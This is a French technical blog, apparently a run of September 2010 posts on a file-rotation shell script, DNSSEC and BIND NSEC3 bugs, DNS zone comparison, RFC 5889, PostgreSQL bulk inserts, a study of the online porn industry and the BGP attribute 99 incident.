On ne peut donc que recommander la lecture de cet article pour encourager le débat. Une version plus longue a été produite par la suite, « Negotiating a New Governance Hierarchy: An Analysis of the Conflicting Incentives to Secure Internet Routing ».


L'article seul

Garder N copies d'un fichier avec une commande Unix simple

Première rédaction de cet article le 10 septembre 2010
Dernière mise à jour le 20 septembre 2010


Dans la série « Partageons nos petits scripts shell et le monde sera meilleur », voici un petit programme qui permet de renommer des fichiers journaux ou des sauvegardes, un peu comme le fait logrotate, mais sans fichier de configuration, uniquement sur la ligne de commande.

Il me sert dans le cas où j'ai besoin de garder les N dernières copies d'un fichier. Par exemple, sur un serveur de noms, il est utile de garder localement les dernières versions du fichier de zone, même si celui-ci est généré depuis une base de données, afin de pouvoir repartir rapidement en cas de pannes comme celle de .SE. De même, lorsqu'on sauvegarde ses données stockées dans le nuage, il est utile de garder les précédentes versions, au cas où la copie du nuage ait été tronquée. Voici par exemple comment je sauvegarde mes marque-pages chez del.icio.us :

copy-n bookmarks-at-delicious
# http://del.icio.us/help/api/  
wget -O bookmarks-at-delicious --no-check-certificate \
        --http-user=bortzmeyer --http-passwd=jevaispasledire \
        'https://api.del.icio.us/v1/posts/all'

copy-n fait donc l'équivalent de :

cp $LOG.1 $LOG.2
cp $LOG.0 $LOG.1
cp $LOG $LOG.0
touch $LOG

mais en plus paramétrable (nombre de copies gardées avec l'option -n, mode), et en plus robuste (le code ci-dessus plante si $LOG.3 n'existe pas), etc.

Le programme complet, normalement en shell portable, est disponible. Voici un exemple d'usage :

% copy-n -n 2 -v sources.org  
Moving sources.org.1 to sources.org.2...
Moving sources.org.0 to sources.org.1...
Copying sources.org to sources.org.0...

Outre logrotate, déjà cité (son principal avantage sur copy-n est l'option de compression), on peut bien sûr préférer un VCS ou un autre programme comme rdiff-backup, suggéré par Sébastien Sauvage, mais qui a un cahier des charges assez différent, puisqu'il ne stocke pas les versions précédentes en clair et qu'il ne fonctionne qu'avec des répertoires, pas de simples fichiers). Autre possibilité, savelog, spécifique à Debian (paquetage debianutils, mais les sources sont disponibles), proposé par Gregory Colpart. Prévu uniquement pour les journaux, il a quelques limites pour d'autres utilisations mais, autrement, semble très satisfaisant. Autres possibilités : les traditionnels cp et rsync disposent d'options qui font la moitié du travail souhaité. GNU cp a l'option (non-standard) --backup donc on peut écrire des choses comme cp --backup=numbered monfichier masauvegarde et il gardera alors les précédentes versions de masauvegarde, agrémentées d'un ~ et d'un numéro (qui suit l'ordre inverse de celui qui est habituel : le numéro le plus élevé est le fichier le plus récent). Il n'y a apparemment pas de moyen de ne garder que les N dernières versions donc on remplit le disque petit à petit. C'est encore pire avec rsync qui ne permet de garder que la toute dernière version (rsync --backup --backup-dir=backups monfichier masauvegarde). Les autres suggestions de logiciels et argumentations sur les raisons du choix sont les bienvenues.

En attendant, merci à Mathieu Arnold, Marc Baudoin et Kim-Minh Kaplan pour leur aide en programmation shell, surtout pour les calculs arithmétiques et à Jean-Philippe Pick pour sa maîtrise de cp.


L'article seul

Ma politique de liens vers Wikipédia

Première rédaction de cet article le 10 septembre 2010
Dernière mise à jour le 12 septembre 2010


À plusieurs reprises, des lecteurs m'ont demandé pourquoi tant de mots dans mes articles sont des liens vers Wikipédia (et paf, un lien de plus). Les chiffres exacts peuvent être lus dans mon rapport quotidien.

Si je mets autant de liens vers Wikipédia, est-ce que c'est parce que je pense que le lecteur n'est pas capable d'aller chercher lui-même dans une encyclopédie en ligne ou bien sur papier ?

D'abord, l'encyclopédie peut ne pas être d'usage facile, notamment pour les sigles, qui ont des développés différents. (Un bel exemple d'erreur à ce sujet est dans un RFC.) Autre cas où l'encyclopédie ne marche pas, c'est lorsque le terme est rare, qu'il n'y a d'article qu'en anglais, ou encore lorsque le mot a plusieurs sens (« paquet », « python »...). Mes liens vers Wikipédia ne sont pas automatiques, ils sont testés et pointent exactement vers la bonne page. Et j'ai déjà eu des remarques positives sur le même thème, « Enfin un texte technique où tous les termes techniques sont expliqués ».

Ensuite, l'un de mes buts est justement d'encourager la lecture des articles de Wikipédia. Il ne s'agit pas seulement d'expliquer un sigle. C'est aussi une invitation à aller voir plus loin.

Par contre, c'est vrai que je devrais faire des liens vers Wikipédia plus discrets. J'ai changé la CSS le 12 septembre 2010 en ce sens. Dites-moi ce que vous en pensez. Toutes les suggestions concrètes d'amélioration sont les bienvenues. Je précise bien que je voudrais que les liens soient discrets (j'ai déjà reçu plusieurs suggestions sur des techniques permettant de mettre en évidence les liens, exactement le contraire de ce que je voulais ; pour des exemples de ces techniques, voir ici ou ).

Un autre point technique, les liens Wikipédia ne sont pas inclus dans le flux de syndication, ce qui peut gêner les gens qui lisent le site entièrement via un agrégateur. Quel est leur avis ?

Dernier sujet de discussion avec certains lecteurs, le fait que, lorsque je parle d'une organisation (une association, par exemple), le lien pointe vers leur page Wikipédia au lieu de pointer vers le site officiel de l'organisation. Là encore, c'est mûrement réflechi :

  • La page Wikipédia est plus stable (il y a des association ou des entreprises qui disparaissent, comparez Sun et Sun).
  • La page Wikipédia donne l'occasion d'accéder à des informations non officielles. Comparez Google et Google.

Pour des statistiques plus détaillées sur les termes de Wikipédia effectivement utilisés, voir la liste des références Wikipédia, classées par ordre alphabétique ou bien par ordre d'utilisation.Pour les autres aspects « meta » de mon blog, voyez mon article « Pourquoi et comment je blogue ».

Pour les réglages du CSS, merci à Florian Crouzat, Cyprien Nicolas et Ève Demazière pour leurs suggestions.


L'article seul

Le Web est-il toujours libre ?

Première rédaction de cet article le 9 septembre 2010


Le Web a souvent été comparé aux radios libres : au début, libre, tout fou, créé par des passionnés qui sont motivés par l'urgence de communiquer. Ensuite, encadré, régulé, commercialisé et normalisé. Ce triste tableau est-il correct ? Le Web est-il d'ores et déjà coca-colisé et TF1sé ? Non, répond ARNO*, alias le Scarabée, qui a publié cette année un superbe texte, « Rêves de Web à papa ».

En gros (je résume car son article est très fouillé et décortique tout en détail), dit ARNO* (fondateur entre autres du minirézo), tout n'est pas joué. Sur certains points, ceux qui rêvaient dans les années 1990 d'un Web libre et non-commercial ont perdu. Sur d'autres, ils ont progressé. Sur certains points enfin, la lutte fait toujours rage. Certes, il n'existe pas de service public de l'hébergement, et les services gratuits comme Mygale ont été soigneusement démantelés. Mais, aujourd'hui, la location d'un hébergeur de qualité (comme Slicehost où se trouve ce blog) coûte moins cher qu'un abonnement à l'Internet de l'époque. Publier sur le Web reste donc infiniment moins cher que sur le papier. La preuve, le Web indépendant et non commercial a traversé sans dommages l'éclatement de la bulle Internet en 2001 alors que la grande majorité des entreprises privées qui voulaient « faire du fric rapidement avec l'Internet », entreprises qui faisaient se pâmer d'admiration journalistes et consultants, ont sombré dans le ridicule le plus total.

Certes, le blog d'Agnès Maillard ou celui de Morgane Tual font moins de visiteurs que les sites du Monde ou de Libération. Mais l'écart entre eux est nettement plus faible qu'entre l'édition papier d'un quotidien officiel et la feuille polycopiée ou le tract distribué au coin de la rue. Comme Benjamin Bayart aime le dire « L'imprimerie a permis au peuple de lire ; Internet va lui permettre d'écrire. »

À l'époque des débuts d'Arno, on n'avait pas Wikipédia. Aujourd'hui, du collégien au journaliste, tout le monde utilise une encyclopédie non-marchande et faite par ses utiisateurs. À l'époque, on avait uZine, aujourd'hui, on a Numérama et La Quadrature du Net. Et il y a aussi Mediapart et Rue89 et des milliers de blogs intéressants ! Bref, on n'a pas reculé.

Les commerciaux et les promoteurs de LOPPSI et d'autres lois répressives ont donc du souci à se faire : le Web libre est encore bien vigoureux.


L'article seul

Une bogue amusante de BIND avec les enregistements NSEC3

Première rédaction de cet article le 8 septembre 2010


Pratiquement chaque TLD qui a décidé de déployer DNSSEC a trouvé une nouvelle bogue de BIND, car ce TLD utilisait une combinaison d'options non encore testée. Lors des essais préalables à la signature de .FR, le cas d'une zone NSEC3 ne comportant qu'un seul nom signé a révélé une nouvelle bogue.

Faites l'expérience vous-même avec toutes les versions de BIND jusqu'à la 9.6.2 ou 9.7.2 incluses. Créez une zone où un seul nom contient des enregistrements faisant autorité, par exemple :

example.       IN      SOA     ns1 root (
                2010083009              ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                          86400 )       ; Negative Cache TTL

        IN      NS      ns1.nic.fr.
        IN      NS      ns2.nic.fr.

        IN      TXT "Test"

toto    IN   NS ns1.bortzmeyer.org.
        IN   NS ns2.bortzmeyer.org.

foobar    IN   NS ns1.bortzmeyer.org.
        IN   NS ns2.bortzmeyer.org.

baz    IN   NS ns1.example.net.

$INCLUDE "Kexample.+008+31414.key"

Cette zone contient plusieurs noms (example, toto.example, etc). Signée avec NSEC ou même avec le NSEC3 du RFC 5155, elle ne pose pas de problème. Mais si on ajoute à NSEC3 l'option opt-out (section 6 du RFC 5155, option -A de dnssec-signzone par exemple dnssec-signzone -3 0BADDCAF -H 1 -A -P -z example), il n'y a qu'un seul nom signé, l'apex, example. En effet, les autres noms comme foobar.example ne contiennent pas d'enregistrement faisant autorité, seulement des délégations. La chaîne NSEC3 boucle alors sur elle-même, il n'y a qu'un seul condensat cryptographique, pour l'apex :

P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 \
             0BADDCAF P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6 NS SOA TXT 

Comme le savent tous les programmeurs, les bogues surviennent en général aux limites, pour des tailles de 0 ou de 1 ou de 2^32... Ici, lorsque la chaîne des NSEC3 est de longueur 1, BIND n'est plus capable de servir la zone correctement. Lançons-le avec ce fichier de configuration :

options {
        directory "/tmp/bind";
        recursion no;
        dnssec-enable yes;
        listen-on port 9053 {any;};
};

zone "example" {
        type master;
        file "example.signed";
};

puis, named -g -c /mon/fichier.conf. Si on interroge ce BIND avec dig sur l'apex, tout va bien :


% dig +dnssec @localhost -p 9053 A example

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33585
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
example.                600     IN      SOA ns1.example. root.example. 2010083009 604800 86400 2419200 86400
example.                600     IN      RRSIG   SOA 8 1 600 20100929110548 2010083011054831414 example. pdY7ja1es9hjmXKuWcsxi7WL/rWl40Ox5AEGEFJjb/E4PXqDbUXCsgMx...
P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 0BADDCAF P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6 NS SOA TXT RRSIG DNSKEY NSEC3PARAM
...

Si on interroge sur un nom qui n'existe pas, tout va également bien, le NSEC3 est bien renvoyé pour prouver la non-existence :


% dig +dnssec @localhost -p 9053 A doesnotexistatall.example
                                                            
; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A doesnotexistatall.example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 8774
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
example.                600     IN      SOA ns1.example. root.example. 2010083009 604800 86400 2419200 86400
example.                600     IN      RRSIG   SOA 8 1 600 20100929110548 2010083011054831414 example. pdY7ja1es9h...
P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 0BADDCAF P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6 NS SOA TXT RRSIG DNSKEY NSEC3PARAM
...

Mais, si on interroge le serveur sur un nom qui existe, patatras :


% dig +dnssec @localhost -p 9053 A foobar.example

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A foobar.example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63947
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
foobar.example.         600     IN      NS      ns1.bortzmeyer.org.
foobar.example.         600     IN      NS      ns2.bortzmeyer.org.
...

Pas de NSEC3 pour prouver l'absence d'enregistrements (ANSWER: 0) ! Un tel comportement est tout à fait contraire aux normes et conduit les résolveurs validants à refuser de transmettre la réponse (SERVFAIL, pour Server Failure).

Si vous voulez voir le comportement normal d'un serveur de noms DNSSEC, regardez des zones signées avec NSEC3 et opt-out comme .ORG ou .PM. Un test comme dig +dnssec @a2.org.afilias-nst.info A bortzmeyer.org (nom existant mais non signé) ou dig +dnssec @d.nic.fr A nic.pm (même chose) doit renvoyer des NSEC3.

Alors, pourquoi BIND n'en renvoyait-il pas, alors que NSD, par exemple, le faisait bien ? C'est à cause de ce cas limite, un seul nom signé et donc une chaîne NSEC3 bouclant immédiatement, cas qui n'était pas prévu. En ajoutant un nom bidon (le _ est là pour éviter une collision avec un nom délégué) :

; Adding this name workarounds the bug
_test    IN TXT "Test again"

Alors, tout marche :


% dig +dnssec @localhost -p 9053 A foobar.example

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A foobar.example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41292
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
foobar.example.         600     IN      NS      ns2.bortzmeyer.org.
foobar.example.         600     IN      NS      ns1.bortzmeyer.org.
P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 0BADDCAF 50P7FK09A20A8BATD9DPV7NQPP1QM4OB NS SOA TXT RRSIG DNSKEY NSEC3PARAM
...

Notez bien que le NSEC3 pointe désormais vers un second condensat cryptographique puisqu'il y a deux noms signés.

La bogue a été signalée à l'ISC et corrigée quelques jours après. Vous ne pouvez pas encore la voir en ligne car BIND 9 (contrairement à son successeur) a un mode de développement assez fermé, où les rapports de bogue et le VCS ne sont pas publics. Mais voici ce qui apparaitra dans la liste des changements :

2951.   [bug]           named failed to generate a correct signed response
                        in a optout, delegation only zone with no secure
                        delegations. [RT #22007]

Et voici le patch complet. Notez que la correction elle-même ne fait que quelques lignes de C mais que le patch a nécessité le développement d'un test de non-régression, destiné à empêcher cette bogue de réapparaître dans le futur. La livraison d'une nouvelle version de BIND est en effet précédée de tests automatiques du serveur ainsi compilé.


L'article seul

Comparing DNS zones

First publication of this article on 8 September 2010


For a long time, network administrators have been comparing DNS zone files, to see the changes. A specially well-watched is the root zone, which is available on line. Now that many zones, including the root, are signed with DNSSEC, how to compare them meaningfully? We certainly do not want a simple resigning to trigger a difference.

The issue was for instance raised by Paul Hoffman on the dns-operations mailing list. Many possible solutions have been suggested in the resulting thread.

There are two ways to strip the zone file of the things that one can see as "meaningless". One is converting it to a canonical format and one is to strip the things you are not interested in. We'll see that you need both, in order to address all the cases.

OK, first, the canonicalization. There are two tools to do so. To test them, let's first create a simple DNS zone file for the TLD .example. Now, let's try the tool shipped with BIND :

% named-compilezone -i none -o example-01.db-canonical example example-01.db
example-01.db:3: no TTL specified; using SOA MINTTL instead
zone example/IN: loaded serial 2010090804
dump zone to example-01.db-canonical...done
OK

We can check the new file and/or see with diff the changes: comments removed, SOA record on one line, TTL made explicit, @ expanded, etc. More important, the canonical version is now independant of small changes (such as added or removed white spaces) in the "source" file. But now let's use a zone file signed with DNSSEC. The canonicalisation normalizes the DNSSEC records like the RRSIG but do not suppress them, which means that a simple resigning of the zone will produce a huge (and probably meaningless) diff. We should add a filtering step or try another tool.

The excellent ldns library has a tool named ldns-read-zone which can perform canonicalization:

% ldns-read-zone -c -z example-01.db
...

Do note that this tool (unlike named-compilezone) cannot get the zone name from the outside, it has to be in the zone itself. The above example does more or less the same thing than named-compilezone but there is another option, -s, which strips DNSSEC records. Then, we have a zone file which is almost usable for diff: the only exception is the SOA record which, in some cases (like the current root) changes every day even if there is no actual change. Finally, we have to use filtering.

Filtering can be done alone but it may miss some transformations in the zone file. Here is an example of grep and a big regexp to "clean" a zone file:

% grep -E -v ';(File (start|end)|(End of file)|(serial))|^[^[:space:]]+[[:space:]]+[0-9]+[[:space:]]+IN[[:space:]]+(RRSIG|SOA|NSEC|NSEC3)[[:space:]]|VRSN-END-OF-ZONE-MARKER-DUMMY-RECORD\.ROOT\.' $1

You can find other regexps in the thread on dns-operations mentioned above.

My final strategy was to use canonicalization + filtering, with a much simpler regexp, just to remove SOA records. My shell script looks like:

CLEAN_REGEXP='^[^[:space:]]+[[:space:]]+[0-9]+[[:space:]]+IN[[:space:]]+(SOA)[[:space:]]'
...
# Canonicalize and strip DNSSEC transient data (such as signatures)
gunzip --to-stdout root.zone.gz | \
    ldns-read-zone -s -c -z > root.zone-canonical.new
grep -E -v $CLEAN_REGEXP root.zone-canonical > $TMPROOTOLD
grep -E -v $CLEAN_REGEXP root.zone-canonical.new > $TMPROOTNEW
if [ ! -z "`cat $DIFF`" ]; then
    # New version, do something

This is the script which is behind the root zone history published as the canonical version and the original unmodified version.

Other possible tools include, again in ldns, ldns-compare-zones, a zone file comparison tool, but which do not seem to allow ignoring DNSSEC records, and yazvs (which I did not test since it depends on a Perl module which is not yet in Debian).

Thanks to Ray Bellis, Marco Davids, Ondřej Surý, Joe Abley and Duane Wessels for ther ideas, suggestions and regexps.


L'article seul

RFC 5889: IP Addressing Model in Ad Hoc Networks

Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : E. Baccelli (INRIA), M. Townsley (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF autoconf
Première rédaction de cet article le 7 septembre 2010


Pendant longtemps, les normes TCP/IP ne traitaient que le cas de machines statiques, administrées par des professionnels, et dotées de connexions matérielles et d'adresses IP stables. Le paysage aujourd'hui est bien différent, entre autres à cause des réseaux ad hoc, ces réseaux non gérés, qui se constituent au hasard des rencontres, par exemple entre deux équipements portables dont les propriétaires se croisent. On trouve même aujourd'hui des routeurs pour ces réseaux et ce court RFC introduit le problème de leur adressage. Quelles adresses IP pour des routeurs ad hoc ?

Les sections 1 et 3 définissent le problème : soit un routeur connecté à au moins un lien dont la connectivité n'est pas vraiment connue. Le matériel marche parfaitement mais on ne sait pas à l'avance si les paquets passeront. Le réseau peut marcher très bien ou il peut mal marcher ou bien encore il peut marcher par intermittence, ce qui est courant avec le sans-fil. Et ce réseau n'est pas administré par un humain compétent (pas de plan d'adressage, par exemple). Quelle adresse IP doit choisir le routeur ?

Il existe plusieurs protocoles de routage pour de tels cas (comme, par exemple, le DSR du RFC 4728 ou l'OLSR du RFC 7181, ce dernier étant plus fréquent dans les réseaux sans-fil communautaires) mais pas de mécanisme standard pour choisir les adresses du routeur. Ce RFC expose les contraintes et demandes pour un tel mécanisme, en se focalisant sur les adresses utilisées par les protocoles de routage (les applications ont également besoin que des adresses IP soit attribuées mais leurs exigences ne sont pas forcément les mêmes).

Commençons par la configuration du préfixe des adresses IP (section 4). Puisque la connectivité du lien n'est pas connue, on ne peut pas savoir quelles adresses IP sont « sur le lien » (locales au lien), à part bien sûr celle de l'interface elle-même. Donc, on ne peut rien garantir quant à la possibilité de joindre une autre adresse en un seul saut. D'où le principe posé par cette section 4 : on ne configure pas de préfixe du tout.

Et l'adresse IP du routeur ? La section 5 analyse ce cas. Les protocoles de routage qui tourneront peuvent exiger, dans certains cas, des adresses IP uniques au sein du domaine de routage (cf. RFC 1136 pour une définition de cette notion). Comme avoir une adresse IP unique satisfait tous les protocoles de routage, même les plus exigeants, la section 5 pose le principe que l'adresse IP allouée soit unique, au moins dans le domaine de routage.

Une fois ces principes posés dans les sections 4 et 5, la section 6 en vient au concret : elle sépare IPv6 et IPv4. Pour le premier (section 6.1), adresses IP uniques dans le domaine de routage et pas de préfixe configuré sur les interfaces à connectivité inconnue. Les adresses IPv6 link-local (RFC 4291, section 2.5.6) sont explicitement déconseillées : elles ne sont uniques que par lien et ne peuvent donc pas identifier un routeur et le RFC 4291 interdit nettement de transmettre les paquets ayant ces adresses comme source d'un lien à un autre. Le but d'un routeur étant de faire passer les paquets d'un lien à un autre, cela élimine ces adresses.

À noter que notre RFC 5889 ne suggère pas de solution, il pose des principes. On peut penser aux adresses ULA (Unique Local Addresses, dans le le RFC 4193) mais elles ne sont pas citées (car il n'y a pas encore d'accord sur le fait qu'il faille obtenir une adresse routable globalement ou seulement routable localement ; dans ce second cas, l'ULA serait clairement un bon choix).

En second, IPv4 fait l'objet de la section 6.2. Les règles sont presque les mêmes sauf que IPv4 ne permettant pas de dire explicitement qu'il n'y a pas de préfixe configuré pour une interface, la règle dit à la place que ce préfixe doit être de longueur 32 (et donc ne comporter qu'une seule adresse).

Les adresses locales au lien (RFC 3927) sont tout aussi déconseillées que pour IPv6, d'autant plus que, avec la faible taille de l'espace d'adressage qui leur est réservée en IPv4, elles ont encore moins de chances d'être uniques.

Merci à Emmanuel Baccelli pour sa relecture et ses commentaires.


Téléchargez le RFC 5889


L'article seul

Insérer beaucoup de tuples COPY ou INSERT ?

Première rédaction de cet article le 6 septembre 2010
Dernière mise à jour le 10 septembre 2010


Tiens, un petit problème de performance avec un SGBDR. Pour insérer un grand nombre de tuples, est-ce plus rapide avec une boucle sur le traditionnel INSERT ou bien avec une autre commande SQL, COPY ?

Le problème vient de DNSmezzo qui doit parfois insérer plusieurs millions de tuples en une seule exécution (chaque tuple représentant une requête ou une réponse DNS). Cela prend du temps et cela s'aggrave avec le remplissage de la base. La documentation de PostgreSQL suggère d'utiliser COPY plutôt qu'INSERT. Qu'y gagne t-on exactement ?

Les tests ont été effectués avec PostgreSQL 8.3 sur un PC/Debian. Deux programmes en C, speed-insert.c et speed-copy.c ont été comparés, pour une table composée de trois champs (dont deux seulement sont spécifiés lors de l'insertion) :

CREATE TABLE Shadoks (id SERIAL, name TEXT, value INTEGER);

Voici d'abord l'insertion d'une table sans index, pour dix millions de tuples :

% time ./speed-insert dbname=essais 10000000
./insert dbname=essais 10000000  53.35s user 53.72s system 15% cpu 11:49.85 total

% time ./speed-copy dbname=essais 10000000      
./copy dbname=essais 10000000  8.61s user 0.14s system 11% cpu 1:15.79 total

Bref, COPY est dix fois plus rapide. (Si vous regardez le source de speed-copy, vous verrez une constante INCREMENT dont la valeur a été déterminée empiriquement. Mettez-la trop bas, à 10 par exemple, et les performances chutent.)

Et avec des index ? Notons que la documentation de PostgreSQL, citée plus haut, recommande de les débrayer avant d'insérer en masse et de les rétablir ensuite. Créons le :

CREATE INDEX name_idx on Shadoks(name);

Et, en effet, les performances chutent dramatiquement : même avec COPY, au bout de quinze minutes, j'ai interrompu le programme. Utiliser la méthode suggérée par la documentation est bien plus rapide :

% time sh -c '(psql -c "DROP INDEX name_idx" essais ;  \
            ./copy dbname=essais 10000000; \
            psql -c "CREATE INDEX name_idx on Shadoks(name)" essais)'
DROP INDEX
CREATE INDEX
sh -c   8.56s user 0.14s system 3% cpu 4:01.39 total

Il existe une troisième solution à la question de la « copie en masse » mais elle nécessite l'ajout d'un logiciel supplémentaire, pgbulkload. Je ne l'ai pas testé mais, questions performances, les auteurs annoncent des résultats intéressants. Mais attention : rien n'est gratuit. Ces gains de performance reposent essentiellement sur l'absence de support des triggers et des rules, et surtout il ne valide pas les données en entrée. Du coup ça n'est utilisable que pour restaurer une sauvegarde de confiance. Dans tous les cas, ces copies rapides (COPY ou pgbulkload) peuvent poser des problèmes de compatibilité avec d'éventuels mécanismes de réplication qui ont été mis en place donc lisez bien la documentation de votre système de réplication, si vous en avez un. D'autre part, les techniques « rapides » (tout ce qui n'est pas INSERT) peuvent poser des problèmes en cas de parallélisme (voir un exemple avec COPY).

Merci à Malek Shabou et Dimitri Fontaine pour leurs conseils et informations. Un bon article sur la question est « How to insert data to database - as fast as possible ».


L'article seul

Comment fonctionne l'industrie de la pornographie en ligne

Première rédaction de cet article le 4 septembre 2010


Il y déjà eu plusieurs études sur le monde de la pornographie sur l'Internet, comme l'article de Benjamin Edelman. Mais cet article de Gilbert Wondracek, Thorsten Holz, Christian Platzer, Engin Kirda et Christopher Kruegel, présenté au Ninth Workshop on the Economics of Information Security apporte du nouveau : les auteurs ont plongé dans ce monde et créé des entreprises participant à ce business, pour mieux l'étudier.

Leur article, Is the Internet for Porn? An Insight Into the Online Adult Industry, est disponible en ligne. Il est très intéressant et les auteurs ont vraiment pensé à tout dans leur étude de ce sujet. J'imagine bien la tête qu'ont dû faire les avocats de leur université lorsqu'ils ont présenté leur projet « devenir vendeur en e-porno ». Une section de leur article est d'ailleurs consacrée aux règles que leur a fixé leur comité d'éthique, notamment l'interdiction de gagner de l'argent lors de cette expérience. Ils ont donc dû arrêter chaque opération au moment où elle devenait rentable.

Donc, après avoir passé du temps à récolter de longues listes de sites Web porno, nos courageux chercheurs, qui ne reculent devant rien lorsque le progrès de la science est en jeu, ont défini une typologie des différents acteurs. Je pensais personnellement que la même enterprise contrôlait toute la filière, de la prise des photos ou des films jusqu'au site Web. Mais pas du tout. Il existe de nombreux intermédiaires, par exemple des courtiers qui mettent en relation les gens qui reçoivent du trafic (par exemple parce qu'ils détiennent des noms de domaine au nom suggestif) et veulent le monétiser avec les gérants des sites pornos payants qui veulent recevoir du trafic. Le courtier achète aux premiers du trafic qu'ils revendent aux seconds, en prélevant leur part.

L'expérience pouvait ensuite commencer : les auteurs se sont inscrits à plusieurs programmes dans le monde du e-porno, changeant de rôle au fur et à mesure. Le milieu, qu'ils pensaient fermé, s'est au contraire révélé très ouvert et ils ont toujours été acceptés, même lorsque le site Web qu'ils avaient créé rassemblait toutes les mauvaises pratiques. Par exemple, lors de l'adhésion à un programme d'affiliation, dans six cas sur huit, le site Web n'a enregistré aucune visite avant l'acceptation !

Compte-tenu des sommes en jeu et de l'attitude hypocrite de la société vis-à-vis de la pornographie (légale mais mal vue), il n'est pas étonnant que le milieu du e-porno se caractérise par une éthique assez faible. Ainsi, les chercheurs ont pu vérifier que les promesses (un moteur de recherche spécialisé dans le porno qui affirme que sa base de sites a été compilé manuellement après vérifications, un courtier qui prétend refuser de rediriger du trafic vers des sites utilisant des cadres cachés, ...) étaient rarement tenues. De la même façon, les horreurs comme les astuces JavaScript pour rendre plus difficile la sortie du site sont monnaie courante. Il est parfois difficile de pointer les responsabilités : ainsi, les auteurs ont trouvé une importante proportion de sites Web porno distribuant du malware mais sans pouvoir être sûr que c'était une décision du gérant du site. Il semble au contraire que les sites Web porno, comme ils reçoivent beaucoup de trafic, sont plus souvent piratés que les autres, par des méchants qui installent le code malveillant ensuite.

Autre escroquerie courante, lors de paiements au clic, les divers systèmes de multiplication, comme de vendre le même clic à plusieurs courtiers. Les auteurs, lorsqu'ils étaient acheteurs de trafic, ont pu voir un seul clic sur un site Web leur être compté 3,8 fois. En sens inverse, lorsqu'ils jouaient le rôle du vendeur de trafic, ils ont pu vendre leur trafic à deux courtiers différents sans être détectés. En combinant les deux techniques (acheter du trafic à un courtier et le rediriger à deux courtiers ou davantage), on gagne de l'argent sans beaucoup se fatiguer...

Le code du site Web des chercheurs a aussi servi à analyser les clients. Le nombre de logiciels vulnérables détectés est important, menant au calcul qu'avec un investissement de seulement 160 US $ (pour acheter du trafic), on peut compromettre 20 000 machines... Si on ne veut pas tout faire soi-même, pas de problème, il existe même des entreprises à qui vous fournissez le code et qui se font payer au nombre d'installations réussies sur les machines des utilisateurs (130 US $ pour mille installations, avec possibilité de choisir le pays, car il est plus intéressant de contaminer une machine norvégienne qu'une coréenne, déjà mise dans toutes les listes noires de la planète). Certains malware prévenant de leur présence en modifiant le champ User-Agent: du protocole HTTP, les auteurs ont pu d'ailleurs voir que bien des visiteurs étaient déjà infectés.

Bref, un monde fort intéressant, où l'important trafic généré crée un écosystème pour toutes sortes de gens pas toujours sympathiques.


L'article seul

BGP et le désormais célèbre attribut 99

Première rédaction de cet article le 3 septembre 2010


Vendredi dernier, le 27 août, une expérience de mesure BGP menée par le RIPE-NCC et Duke University a révélé une bogue latente dans le code de certains modèles de routeurs Cisco, menant à la corruption des annonces BGP échangées, qui elle-même a entrainé la coupure de plusieurs sessions BGP, et finalement des perturbations plus ou moins fortes dans une partie de l'Internet. Cette panne a réactivé des débats sur la sécurité et la stabilité de l'Internet, ou bien sur la légitimité de procéder à de telles expériences.

Je ne vais pas détailler la panne elle-même car je n'étais pas là pour l'observer, je n'ai pas d'accès à toutes les données et, de toute façon, depuis une semaine, plusieurs très bons articles sont sortis sur le sujet. La meilleure synthèse est celle du RIPE-NCC. Bien plus technique, pour les amateurs de décodage de paquets, l'excellent article de Tassos et évidemment le RFC 4271, la norme de BGP (par exemple la section 4.3, sur les attributs, voir aussi le registre IANA des attributs). Et naturellement l'avis de sécurité de Cisco, qui donne plein de détails. Notons toutefois un point peu mentionné, le fait que le seul « privilège » qu'avait le RIPE-NCC est d'être bien connecté, avec beaucoup de peerings. Leurs annonces se propagent donc vite et loin. Mais, autrement, n'importe lequel des 40 ou 50 000 AS actifs pouvait faire pareil (si leur(s) opérateur(s) immédiats n'ont pas de Cisco bogué et transmettent l'annonce intacte). L'« expérience » aurait donc pu être faite par n'importe quel cyber-guerrier amateur.

Première question soulevée par cette panne : l'Internet est-il vraiment trop fragile ? Allons-nous tous mourir ? Al-Qaida va t-elle détruire la capacité de l'Occident à regarder YouTube toute la journée ? Faut-il refaire l'Internet en mieux ? Ou bien faire passer les routeurs sous le contrôle de l'US Army ? Ces questions resurgissent à chaque panne, surtout lorsqu'elle affecte des services dramatiquement essentiels. Des réunions sont organisés, des colloques causent, des rapports sont écrits. Mais, la plupart du temps, l'arbre cache la forêt et on oublie les points essentiels :

